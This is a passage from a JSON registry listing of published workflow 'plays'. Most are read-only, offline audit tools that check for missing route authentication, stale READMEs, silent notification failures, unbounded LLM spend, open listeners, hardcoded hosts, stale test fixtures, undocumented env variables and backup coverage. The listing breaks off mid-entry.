files","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:aeeec871ee863ed3063d8ade17a89438ef42aedba7bedd77463b96afaa7fb6e2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":2,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/route-auth-gaps@0.5.4","reference":"lgoyal6/route-auth-gaps@0.5.4","uri":"https://play.modiqo.ai/lgoyal6/route-auth-gaps@0.5.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/route-auth-gaps@0.5.4","name":"route-auth-gaps","title":"route-auth-gaps","description":"An application where no route checks a caller is most likely public on purpose. One where fourteen routes check and the fifteenth does not has a hole. This play is that comparison. It finds HTTP routes with no authentication or authorization check next to sibling routes that have one, looking in four places: the handler body, the middleware arguments of the registration itself, an enclosing use/Group middleware, and one hop into a helper the file defines. Precision is the whole design. Reading identity is separated from ENFORCING it, so a route that fetches the session token and then serves anonymous callers anyway is not credited with a check. A registration counts only when its last argument is a function, which keeps `axios.get(url, config)` out. A handler it cannot locate is reported unjudged rather than accused. Health checks, login callbacks and signature-verifying webhooks are excluded and named. Read-only, offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","security-workflows","job-authorization-audit","tool-static-analysis","effect-read-only","missing-auth-check","authorization-gap","broken-object-level-auth","idor","unprotected-route","middleware-check","cors-wildcard","credentials-with-wildcard","next-app-router","express","fastapi","audience-developers","audience-security-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.5.4","published_at":"2026-09-06T01:01:23.559597+00:00","visibility":"public","quality_score":1,"size_bytes":45240,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree whose HTTP routes should be audited for a missing auth check. Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for route definitions","example":"4"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:32ebc672ad8f45c3ce144985ec9a5c4283752a1c8e136882b18ccc5630ac6166","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":2,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/readme-rot@0.3.4","reference":"lgoyal6/readme-rot@0.3.4","uri":"https://play.modiqo.ai/lgoyal6/readme-rot@0.3.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/readme-rot@0.3.4","name":"readme-rot","title":"readme-rot","description":"A README is the only interface a stranger has to a project, and the one file nothing verifies. It goes stale silently, and the person who finds out is the newcomer who gives up in the first five minutes. This checks a README against the repository as it exists right now, ranked by what breaks that newcomer first: fenced shell commands invoking something gone (`npm run X` absent from package.json, `make X` absent from the Makefile, a script not on disk); relative links and images pointing at files that are not there, including the case-only mismatch that opens on a Mac and 404s on GitHub; badge URLs naming a repository path the git remote no longer matches; and environment variables the README tells you to set that its own .env.example never documents. Line numbers point at the offending command, not the opening fence. Read-only: nothing is executed, installed or written.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-documentation-audit","tool-markdown","effect-read-only","readme","stale-documentation","broken-command","broken-link","broken-badge","case-only-mismatch","missing-script","documentation-drift","newcomer-experience","github-404","audience-maintainers","audience-oss-contributors","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.3.4","published_at":"2026-09-06T01:01:07.458554+00:00","visibility":"public","quality_score":1,"size_bytes":29892,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory to search for READMEs. Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search","example":"3"},{"name":"max_readmes","type":"string","required":false,"default":"80","description":"Cap on how many READMEs are analysed, shallowest first","example":"20"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:929c250d2e7bd84a9a59ffd90ccb903f40f0d794bde5f53d9e76decda853a8d7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":12,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/notification-blackhole@0.1.3","reference":"lgoyal6/notification-blackhole@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/notification-blackhole@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/notification-blackhole@0.1.3","name":"notification-blackhole","title":"notification-blackhole","description":"A job that ran is not a person who was told. This play was built from a real one: an hourly agent whose exit code was 0 on all 82 runs the scheduler counted, whose stderr held nothing but `dial tcp: lookup discord.com: no such host`, and whose digest therefore reached nobody while every counter on the machine said healthy. Ranked by cost: delivery failures in the log while the job exits 0 is critical, because every dashboard reads fine; a sink reached through a name that resolves to nothing on this machine is high; and UNOBSERVABLE is its own class, graded neither healthy nor broken, because a notify-on-failure job leaves the same empty log as a dead sink. It SENDS NOTHING and connects to nothing - no curl, no socket, not even a DNS lookup - because posting a test message is the exact act this exists to make unnecessary. Webhook URLs and tokens are reduced to a family and a name; no fragment of one is ever emitted. Needs python3.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","operations-workflows","notification-delivery-reconciliation","tool-launchd","effect-read-only","notification-delivery","webhook-never-arrived","discord","slack","telegram","pagerduty","mailto","cron-mail","silent-failure","false-green","alert-blackhole","exit-code-zero","audience-sre","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:00:38.800074+00:00","visibility":"public","quality_score":1,"size_bytes":53844,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to search for repositories, workflow files, n8n exports and .env-style files. A relative path is REFUSED with exit 2, because a process.exec step runs in rote's own workspace rather than your shell directory and a relative root would silently scan that workspace and report a confident clean.","example":"/Users/you"},{"name":"depth","type":"string","required":false,"default":"3","description":"How many directory levels below root to search for repositories and configuration files","example":"3"},{"name":"quiet_runs","type":"string","required":false,"default":"3","description":"How many scheduled runs may pass with nothing appended to a log before an UNDATED delivery failure in it is treated as history rather than as a sink failing now","example":"3"},{"name":"stale_days","type":"string","required":false,"default":"7","description":"How old the newest DATED delivery failure may be and still count as current","example":"7"},{"name":"max_log_bytes","type":"string","required":false,"default":"2000000","description":"How many bytes of the tail of each log to read when looking for delivery evidence","example":"2000000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0e946cff3a6a9d4ba09a618bb019a4cfbc0978d849b01e94c2276309aab82d73","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":8,"for_each_steps":2,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/llm-spend-guard@0.2.4","reference":"lgoyal6/llm-spend-guard@0.2.4","uri":"https://play.modiqo.ai/lgoyal6/llm-spend-guard@0.2.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/llm-spend-guard@0.2.4","name":"llm-spend-guard","title":"llm-spend-guard","description":"An LLM call whose input size nothing bounds is a bill with no ceiling, and it fails in production on the first document bigger than every document you tested with. This finds which model calls have no bound on what they send or spend. Critical: a whole file, result set or directory read reaching a prompt with no slice, chunker or token budget, and a model call inside a loop over a collection nothing caps. High: conversation history replayed in full with no window, reported TWICE - once as the cost that grows every turn and once as the overflow that eventually fails the request, because those have different fixes - and a retry with no attempt ceiling, which multiplies spend on exactly the day the provider is degraded. NO DOLLAR FIGURE IS EVER PRINTED. This play cannot see your pricing tier, model versions or cache-hit rate, and a confident monthly estimate from static reading would be a fabrication. Findings are token-shaped and you price them. Read-only, offline, no credential copied.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","cost-workflows","job-llm-cost-audit","tool-static-analysis","effect-read-only","llm-cost","unbounded-prompt","max-tokens","token-budget","context-overflow","uncapped-retry","missing-timeout","prompt-in-a-loop","runaway-bill","chat-history-growth","cost-ceiling","audience-developers","audience-founders","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.2.4","published_at":"2026-09-06T01:00:34.210376+00:00","visibility":"public","quality_score":1,"size_bytes":45001,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":4,"names":["verify","analyze","collect","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree whose model calls should be audited for unbounded input, unbounded loops, missing output caps, uncapped retries and missing timeouts. Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to search for source files that call a model","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:48d30a8741bf22d168e3cd8dc8eef901304a130a01bff09f3c0cfe0f8367d41f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":12,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/listening-surface@0.1.3","reference":"lgoyal6/listening-surface@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/listening-surface@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/listening-surface@0.1.3","name":"listening-surface","title":"listening-surface","description":"Your dev machine accumulates listeners: a forgotten `npm run dev`, a database a compose file published on every interface months ago, a tunnel, an agent on a debug port. No source scan can answer what is open, because the answer is live kernel state rather than a file. This reports what is listening right now, who owns it, and how far it can be reached. Sockets come from lsof AND netstat, because an unprivileged lsof cannot see other users' processes, and the difference between the two lists is the set of listeners that could not be attributed - named, not dropped. Each process is traced to a supervisor (a launchd label, a Homebrew service, a container) and cross-referenced against compose port mappings, so \"declared here, bound now\" and \"bound with nothing on disk explaining why\" are separate claims. A non-loopback listener with no supervisor is high, because nobody will remember to stop it. No argv text is ever captured.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-security","operations-workflows","job-host-exposure-audit","tool-shell","effect-read-only","open-ports","listening-sockets","bind-address","lsof","netstat","exposed-service","forgotten-dev-server","lan-reachable","loopback-binding","process-owner","homebrew-services","live-host-state","audience-sre","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:00:32.009537+00:00","visibility":"public","quality_score":1,"size_bytes":31346,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute directory to index for on-disk port declarations (docker-compose files). A process.exec step runs in rote's workspace, not your shell, so a relative path would index the wrong tree and turn every declared listener into an undeclared one; a relative value is refused.","example":"/Users/you/src"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for compose files","example":"3"},{"name":"include_udp","type":"string","required":false,"default":"false","description":"Also read bound UDP sockets. UDP has no LISTEN state so every bound socket is reported, which is noisier; on by default would bury the TCP answer.","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1d1230325fdcba90498b9215d5bc6fce00c9f63f904809477710b81478b48c95","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":12,"for_each_steps":2,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/hardcoded-endpoint@0.1.2","reference":"lgoyal6/hardcoded-endpoint@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/hardcoded-endpoint@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/hardcoded-endpoint@0.1.2","name":"hardcoded-endpoint","title":"hardcoded-endpoint","description":"A hardcoded host is a deployment that works for exactly one person. Which addresses in this code only work on the machine they were written on? This walks every git repository under a root for five kinds of address baked into shipped code: a loopback host with a port outside a test path; a private-range IP or a .local hostname; a personal absolute path under /Users or /home; a cloud identifier where a sibling proves it is normally read from configuration; and a staging host hardcoded while its production counterpart is read from config nearby, the strongest signal because the project clearly knows better. Ranked by blast radius: an address in an application entrypoint outranks one in a script. Excluded with reasons and counted: tests, a compose service name or bind-all mapping (db:5432 is correct inside compose), a localhost default an env lookup nearby overrides, .env.example files, vendored trees. No host is ever resolved, connected to or probed. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","domain-security","engineering-workflows","job-hardcoded-address-audit","tool-git","effect-read-only","hardcoded-host","localhost","private-ip","personal-path","cloud-resource-identifier","staging-vs-production","docker-compose","deployment-portability","audience-developers","audience-security-reviewers","audience-platform-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:00:18.155137+00:00","visibility":"public","quality_score":1,"size_bytes":41185,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to a directory holding cloned repositories, or to one repository. A relative path is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory and would scan the wrong tree and report it as your answer.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to look for a `.git` scan boundary. 1 finds root itself when root is a clone. Must be 1 to 8.","example":"4"},{"name":"top","type":"string","required":false,"default":"5","description":"How many full candidate entries to print before the rest become a one-line index. Every candidate is still analysed and verified.","example":"5"},{"name":"max_files","type":"string","required":false,"default":"4000","description":"Cap on interesting files read per repository. A repository whose inventory hits the cap is marked so a partial read is never reported as a clean one.","example":"4000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6d13242b7d8047a70f5561e91f471c09a390843ff32f03f7e2d0813e87a2be6a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/fixture-drift@0.1.3","reference":"lgoyal6/fixture-drift@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/fixture-drift@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/fixture-drift@0.1.3","name":"fixture-drift","title":"fixture-drift","description":"A golden file, a snapshot, a VCR cassette: each is a claim about a real interface, frozen at a moment. When the real thing moves, the test keeps passing and stops meaning anything. This finds the tests that pass because a recorded fixture is stale rather than because the code is right. Six rules, ranked by whether the test still means anything. Sharpest: a mock patching a name the target module no longer has, because that test is not asserting something wrong, it is asserting about nothing. Telling a name that is GONE from one that merely MOVED is the whole difficulty: on one real repository a first cut produced 278 false hits and two structural gates left 2. On a shallow clone every tracked file shares one commit timestamp, so the git-clock rules are marked UNAVAILABLE, never CLEAN - 42 of 198 repositories here are single-commit clones. No fixture value is ever printed; a recording is the likeliest place to hold a live credential. Never runs a test. Needs python3, git and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","testing-workflows","job-fixture-staleness-audit","tool-static-analysis","effect-read-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:00:07.316247+00:00","visibility":"public","quality_score":1,"size_bytes":51726,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory tree whose git repositories should be read for recorded fixtures. A relative path is refused, because a step runs in rote's own workspace rather than in your shell directory, so a bare dot would scan the wrong tree and then report a clean bill about it.","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to search for git repositories","example":"3"},{"name":"stale_days","type":"string","required":false,"default":"45","description":"How many days a fixture may lag the code that produces it before that gap is reported rather than counted","example":"90"},{"name":"max_files","type":"string","required":false,"default":"4000","description":"Per-repository file ceiling for the walk; a repository over it is reported as PARTIAL rather than silently cut","example":"12000"},{"name":"top","type":"string","required":false,"default":"12","description":"How many findings to print in full before the rest are summarised by rule","example":"25"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:17fd687fe70f58a18bd274f71a28fbfcbac7bafd28c0d6e6e376e3d0970005bf","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/env-example-drift@0.3.4","reference":"lgoyal6/env-example-drift@0.3.4","uri":"https://play.modiqo.ai/lgoyal6/env-example-drift@0.3.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/env-example-drift@0.3.4","name":"env-example-drift","title":"env-example-drift","description":"Which environment variables does the SOURCE require that its own .env.example never documents? This reads the code, not your .env, so it answers what a fresh clone actually needs. It never opens a real .env and it works on a machine that has none - which is exactly the machine where a new contributor gets stuck. Env reads are scanned across JS/TS, Python, Go, Rust, Ruby and PHP at the real line of each match, and compared with .env.example and its four common spellings. The distinction that matters is whether a fallback is supplied at the call site: `process.env.PORT || 3000` is a documentation gap, `os.environ[\"DATABASE_URL\"]` is a process that dies on line one, and the report ranks them that way rather than lumping every difference together. A real .env is never opened, the committed example is read for KEY NAMES ONLY, and no source line is ever printed, so it is safe to run on a machine holding live credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-config-drift-audit","tool-dotenv","effect-read-only","env-example","dotenv","undocumented-env-var","dead-env-var","fresh-clone","onboarding","process-env","os-getenv","missing-config","startup-crash","contributor-setup","audience-maintainers","audience-oss-contributors","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.3.4","published_at":"2026-09-06T00:59:54.233043+00:00","visibility":"public","quality_score":1,"size_bytes":25063,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory to audit; every directory beneath it that holds its own env example file is assessed as its own project. Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for env example files, so a monorepo is assessed service by service","example":"2"},{"name":"max_findings","type":"string","required":false,"default":"25","description":"How many variables to name per section; every variable is always counted, this only bounds the listing","example":"10"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7794fd221092e91023147d8757686f32768f23e5fb46df94be78d26128962df9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":8,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/backup-reality@0.1.3","reference":"lgoyal6/backup-reality@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/backup-reality@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/backup-reality@0.1.3","name":"backup-reality","title":"backup-reality","description":"You believe you have backups. This asks, for every backup and sync mechanism this machine DECLARES, whether there is any evidence it recently produced an artifact. Five declaration sources read from configuration and code alone: Time Machine's destinations, scheduled jobs whose command is rsync, restic, borg, rclone, tar, pg_dump or sqlite3 .backup, backup-named scripts nothing schedules, the cloud sync roots, and the data stores compose files declare. Each is held against the evidence it leaves: destination mtime and size, arrival times recovered from timestamps inside the job's own log, and failure strings there. Ranked by what you lose. A declared mechanism with no evidence it ever produced an artifact is critical, because belief and reality point in opposite directions. Sync coverage is decided by INODE IDENTITY, not path prefix: the iCloud Desktop and ~/Desktop are the same directory. It never writes, moves, deletes or triggers a backup, and never spawns a backup binary. Needs python3.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","operations-workflows","backup-coverage-reconciliation","tool-timemachine","effect-read-only","backups","time-machine","restic","borg","rsync","rclone","cloud-sync","backup-coverage","stale-backup","silent-failure","false-clean","disaster-recovery","audience-sre","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T00:59:10.079025+00:00","visibility":"public","quality_score":1,"size_bytes":59825,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":3,"names":["verify","analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path whose directories, repositories and compose files are checked for backup coverage. A relative path is refused, because a step runs in rote's own workspace rather than your shell directory and would report a confident clean about the wrong tree.","example":"/Users/you"},{"name":"depth","type":"string","required":false,"default":"3","description":"How many directory levels below root to search for repositories, compose files and backup scripts","example":"3"},{"name":"stale_factor","type":"string","required":false,"default":"3","description":"How many of a job's own declared intervals may pass with no new artifact before the mechanism is called stopped","example":"3"},{"name":"stale_days","type":"string","required":false,"default":"14","description":"Days without a new artifact that make a continuous mechanism (Time Machine, a cloud sync root) count as stopped, used where there is no declared interval to multiply","example":"14"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b7155ac76a2f8620d886588a8e315af3191c66155a690a82055720efc834ba65","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":6,"for_each_steps":2,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/pooja-bhavani/acoustic-flow@3.0.3","reference":"pooja-bhavani/acoustic-flow@3.0.3","uri":"https://play.modiqo.ai/pooja-bhavani/acoustic-flow@3.0.3","manifest_uri":"https://play.modiqo.ai/pooja-bhavani/acoustic-flow@3.0.3","name":"acoustic-flow","title":"acoustic-flow","description":"Spatial Audio Previsualizer: computes 3-band Sabine RT60 decay, geometric ray-tracing with wall occlusion and portal diffraction, serves an interactive 3D Plotly.js WebGL visualization on localhost:8080, and synthesizes an acoustic blueprint scorecard.","owner":{"kind":"user","slug":"pooja-bhavani"},"registry_organization":"pooja-bhavani","tags":["acoustics","audio","physics","modiqo","spatial-audio","rt60"],"primary_domain":"domain-uncategorized","author":"pooja-bhavani","version":"3.0.3","published_at":"2026-09-05T19:46:25.024897+00:00","visibility":"public","quality_score":0.875,"size_bytes":9779,"license":null,"stats":{"downloads":5,"installs":0},"steps":{"count":1,"names":["solve_acoustics"]},"parameters":[{"name":"scene","type":"string","required":false,"default":"echocanvas_scene.json","description":"Path to the EchoCanvas scene JSON configuration file"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7c4e8d2b2804e33c69a77b9c651c5e36bb2280a90ed4bc86d9f5d27e30d8a3e8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bavya21/parent-medication-dispenser@0.3.0","reference":"bavya21/parent-medication-dispenser@0.3.0","uri":"https://play.modiqo.ai/bavya21/parent-medication-dispenser@0.3.0","manifest_uri":"https://play.modiqo.ai/bavya21/parent-medication-dispenser@0.3.0","name":"parent-medication-dispenser","title":"parent-medication-dispenser","description":"A medication 